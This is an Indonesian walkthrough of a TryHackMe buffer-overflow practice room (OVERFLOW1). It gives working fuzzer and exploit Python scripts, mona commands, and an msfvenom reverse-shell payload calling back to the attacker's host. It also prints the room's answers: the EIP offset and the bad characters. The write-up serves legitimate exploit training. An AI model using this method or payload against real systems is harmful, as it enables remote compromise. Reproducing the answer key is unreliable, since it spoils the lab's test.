Room ini menggunakan VM (Virtual Machine) Windows 7 32-bit dengan Immunity Debugger dan Putty yang sudah terinstall. Windows Firewall dan Defender juga sudah dimatikan supaya proses exploitnya bisa lebih mudah.
Kita bisa login ke VM tersebut via RDP (Remote Desktop Protocol) dengan kredensial berikut: admin:password. Jika menggunakan xfreerdp sebagai RDP client, berikut perintahnya:
xfreerdp /u:admin /p:password /cert:ignore /v:MACHINE_IP /smart-sizing /t:"THM - Buffer Overflow Prep"
note:
- MACHINE_IP diganti dengan IP VM yang kita dapatkan setelah VM tersebut di-deploy.
- Pastikan juga vpn sudah terkoneksi dengan network THM.
Kalau ada network location ini, pilih Home Network.
Di Desktop akan ada folder “vulnerable-apps”. Di dalamnya ada beberapa binary yang vulnerable atau rentan terhadap simple stack-based buffer overflow. Perlu dicatat bahwa room ini tidak mengajarkan buffer overflow dari nol.
Oke, kita masuk ke sesi latihan.
[Task 2 — oscp.exe (OVERFLOW1)]
Klik kanan di Immunity Debugger dan pilih Run as administrator.
Untuk membuka binary-nya, klik File -> Open -> Desktop/vulnerable-apps/oscp/oscp.exe, klik open.
Untuk menjalankan binary oscp.exe di Immunity Debugger, klik Debug -> Run. Maka, status “Paused” di pojok kanan bawah akan berubah menjadi “Running”.
Setelah di-run, akan muncul satu terminal yang berarti oscp.exe sedang berjalan dan menunggu koneksi (listening) di port 1337.
Di mesin host, kita dapat menyambungkan koneksi ke VM Windows tersebut di port 1337 via netcat dengan perintah berikut:
nc $VM_IP 1337
Mona Config
Script mona juga sudah terinstall di Windows VM tersebut, jadi kita akan mengkonfigurasi folder untuk menyimpan file2 mona dengan perintah berikut, yang dapat diinputkan di kolom di bagian paling bahwa Immunity Debugger:
!mona config -set workingfolder c:\mona\%p
Fuzzing
Sekarang, kita akan mengirimkan payload sebanyak mungkin secara bertahap agar program oscp.exe tersebut berhenti berjalan (crash). Kita akan melakukannya dengan script fuzzing python yang sudah disediakan di room ini. Jadi, tinggal copy-paste saja. Buat di mesin host atau attack box kita. Jangan lupa sesuaikan IP-nya dengan IP vpn, tun0.
#!/usr/bin/env python3
import socket, time, sys
ip = "VM_IP"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Script tersebut akan mengirimkan payload berupa string huruf A sebanyak 100 (100 bytes) setiap satu kali pengiriman dan akan bertambah 100 bytes di pengiriman payload berikutnya hingga akhirnya berhenti jika program oscp.exe crash.
Jalankan file fuzzer.py tersebut dan tunggu hingga script berhenti:
python3 fuzzer.py
Ketika fuzzer.py tidak lagi jalan, artinya program oscp.exe sudah crash. Dari ss berikut, dapat diketahui bahwa oscp.exe crash ketika kita mengirimkan 2000 bytes payload.
Kita juga bisa memastikan di Immunity Debugger, status program binary oscp.exe kembali berubah menjadi “Paused” karena program crash.
Crash Replication & Controlling EIP
Sekarang, kita akan buat script exploit.py.
#!/usr/bin/env python3
import socket
ip = "MACHINE_IP"
port = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Selanjutnya, kita akan generate payload dengan jumlah 400 bytes lebih banyak dibanding jumlah bytes yang tadi membuat oscp.exe crash (2400 bytes). Kita akan generate payload tersebut dengan script ruby yang sudah tersedia di metasploit:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400
Copy-paste payload tersebut ke variabel “payload” di exploit.py.
Berikutnya, kita akan me-restart oscp.exe di Immunity Debugger karena tadi programnya crash. Untuk merestart, klik Debug -> Restart. Jangan lupa untuk menjalankan oscp.exe dengan klik Debug -> Run sehingga status “Paused”-nya berubah menjadi “Running”. Kita akan sering melakukan ini di Immunity Debugger setelah oscp.exe crash.
Next, jalankan script exploit.py.
python3 exploit.py
Script exploit.py akan meng-crash oscp.exe lagi. Kita akan menjalankan perintah mona berikut di kolom di tempat kita men-setting working folder tadi. Sesuaikan distance-nya dengan jumlah payload yang tadi sudah kita set (Karena tadi saya set payload di 2400 bytes, maka distance di sini adalah 2400).
!mona findmsp -distance 2400
Dengan perintah tersebut, mona akan menampilkan window “Log Data”. Kalau tidak muncul, kita dapat membukanya secara manual di Window -> Log Data.
Kalau kita mau balik ke Window sebelumnya, kita dapat memilih Window -> CPU.
Di output yang terdapat di Log Data Window, kita bisa melihat baris mengenai register EIP berikut offset-nya dengan format seperti ini:
EIP contains normal pattern : 0x6f43396e (offset 1978)
Edit script exploit.py dan set variabel “offset” ke 1978 (karena tadi kita tahu register EIP offset-nya di 1978). Kita juga akan mengosongkan kembali variabel “payload” dan mengisi variabel “retn” dengan BBBB.
Restart oscp.exe di Immunity Debugger dan jalankan lagi script exploit.py. Seharusnya, register EIP akan berubah menjadi BBBB (alias 42424242).
Note: 42 adalah representasi karakter B dalam hexadecimal.
Finding Bad Characters
Selanjutnya, kita akan men-generate bytearray menggunakan mona dengan meng-exclude “null byte” (\x00). Sebagai catatan, lokasi file bytearray.bin yang akan tergenerate nanti akan tersimpan di working folder mona yang di awal sudah di-set sebelumnya, yaitu di C:\mona\oscp\bytearray.bin.
!mona bytearray -b "\x00"
Sekarang, generate string “bad-chars” yang identik dengan bytearray. Kita akan gunakan script python berikut untuk men-generate bad-chars dari \x01 hingga \xff:
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
Setelahnya, update script exploit.py dengan mengisi variabel “payload” dengan string bad-chars yang sudah di-generate tadi.
Restart oscp.exe di Immunity Debugger dan jalankan lagi script exploit.py. Catat address ditunjukkan oleh register ESP dan inputkan address tersebut dalam perintah mona berikut:
!mona compare -f C:\mona\oscp\bytearray.bin -a <address>
Akan muncul popup window dengan label “mona Memory comparison results”. Kalau tidak muncul, bisa dibuka manual di menu Window -> mona Memory comparison results. Window tersebut menampilkan hasil dari perbandingan karakter-karakter yang berbeda di memory dengan apa yang di-generate di file bytearray.bin.
“Tidak semua yang tampil di Window tersebut adalah bad-chars. Kadang, satu bad-chars dapat menyebabkan byte berikutnya juga ikut corrupted, atau bahkan berdampak ke keseluruhan string setelahnya.”
Bad-chars pertama yang ada di list yaitu \x00 karena tadi kita sudah meng-exclude-nya dari file. Generate kembali bytearray di mona yang meng-exclude bad-chars yang baru, jangan lupa tetap sertakan dengan \x00. Next, update juga variabel “payload” di script exploit.exe dengan menghapus bad-chars yang sudah ditemukan tadi.
Restart oscp.exe di Immunity Debugger dan kembali jalankan script exploit.py yang sudah diedit tadi. Ulangi perbandingan bad-chars sampai hasil akhir perbandingannya menunjukkan status “Unmodified” yang artinya tidak ada lagi bad-chars.
— — — PROSES PENCARIAN DAN ELIMINASI BAD CHARACTERS — — —
Oke, kita akan coba cari satu-satu bad-chars-nya, dimulai dengan karakter setelah \x00, yaitu \x07.
Di Immunity Debugger:
Di script exploit.py, kita hapus karakter \x07:
Restart oscp.exe di Immunity Debugger. Jalankan exploit.py. Copy register ESP dan masukkan ke perintah mona untuk compare lagi:
Berhasil! Ternyata \x07 adalah bad-chars, karena setelah kita menghapusnya, karakter setelahnya, yang mana adalah \x08 juga ikut hilang. Ingat bahwa bad-chars dapat mengakibatkan karakter setelahnya juga ikut menjadi bad-chars (?). Lihat catatan sebelumnya (di-bold italic)!
Sisa bad-chars-nya adalah \x2e, \x2f, \xa0, dan \xa1.
Oke, selanjutnya, kita akan coba karakter berikutnya, yaitu \x2e.
Di Immunity Debugger:
Di variabel “payload” dalam script exploit.py, kita hapus karakter \x2e:
Restart oscp.exe di Immunity Debugger. Jalankan exploit.py. Copy register ESP dan masukkan ke perintah mona untuk compare lagi:
Wokehh! Nice! Lagi-lagi benar \x2e adalah bad-chars, karena setelah kita hapus, karakter berikutnya yaitu \x2f juga ikut hilang.
Sisa bad-chars-nya adalah \xa0 dan \xa1.
Oke, kita coba lagi, mudah2an \xa0 adalah bad-chars terakhir.
Di Immunity Debugger:
Di script exploit.py, kita hapus karakter \xa0:
Restart oscp.exe di Immunity Debugger. Jalankan exploit.py. Copy register ESP dan masukkan ke perintah mona untuk compare lagi:
Yey! Status comparison sudah “Unmodified”. Artinya, sudah tidak ada lagi bad-chars dalam payload kita!
— — — PENCARIAN DAN ELIMINASI BAD CHARACTERS SELESAI — — —
Finding a Jump Point
Selanjutnya, kita akan menjalankan perintah mona berikut dan pastikan opsi -cpb disesuaikan dengan bad-chars yang sudah kita temukan tadi, termasuk \x00.
Note: bad-chars yang sudah kita temukan tadi ada 4, yaitu \x00, \x07, \x2e, dan \xa0.
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
Perintah tersebut akan mencarikan semua instruksi “jmp esp” berikut dengan address-nya yang sudah tidak mengandung bad-chars. Hasil tersebut dapat terlihat di window “Log Data” (kalau gak muncul otomatis, bisa dibuka manual di menu Window -> Log Data).
Kita bisa pilih salah satu address, kemudian kita akan meng-update script exploit.py dengan memasukkan address tersebut sebagai value dari variabel “retn”. Perhatikan! Tulis address-nya dalam urutan terbalik (karena sistemnya adalah little endian).
Di sini, saya akan pilih address yang paling atas, yaitu 0x625011AF. Jadi, saya akan inputkan address tersebut dalam urutan terbalik di varibel “retn”, yang berarti dimulai dengan \xaf terlebih dahulu, lalu disusul \x11, \x50, dan \x62:
Generate Payload
Jalankan perintah msfvenom berikut di mesin kita, sesuaikan IP Address di LHOST (gunakan IP tun0), dan masukkan semua bad-chars yang sudah kita temukan tadi sebagai opsi di tag -b.
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
Selanjutnya, copy payload tersebut dan paste-kan di variabel “payload” dalam script exploit.py dengan notasi berikut:
Prepend NOPs
Karena encoder tadi digunakan untuk men-generate payload, artinya, kita perlu space di memory agar payload-nya nanti dapat di-unpack. Jadi, kita dapat menambahkan 16 bytes karakter \x90 di variabel “padding”.
Exploit!
Jika variabel prefix, offset, retn, padding, dan payload sudah di-set dengan benar di script exploit.py, kita dapat melakukan eksploitasi buffer overflow untuk mendapatkan reverse shell. Jalankan netcat listener di host dengan LPORT menyesuaikan port yang tadi di-set di perintah msfvenom (port 4444). Restart program oscp.exe di Immunity Debugger dan jalankan script exploit.py.
Dan…
BOOMM!!
- What is the EIP offset for OVERFLOW1?
- In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW1?
Jawaban untuk kedua soal itu tentu sudah kita temukan…
Oke. Sekian dulu untuk exploitasi buffer overflow. Sebenarnya, masih ada 9 challenge lagi, OVERFLOW2 — OVERFLOW10, tapi pada prinsipnya, untuk menjawab soal2 itu, kita hanya perlu melakukan proses yang sama seperti yang sudah kita lakukan tadi.
Stack-based BOF exploitation process in a nutshell:
- Find the bytes that crashed the program/binary.
- Find the EIP offset
- Look for (and remove if exists) the bad chars
- Find the jump point
- Exploit!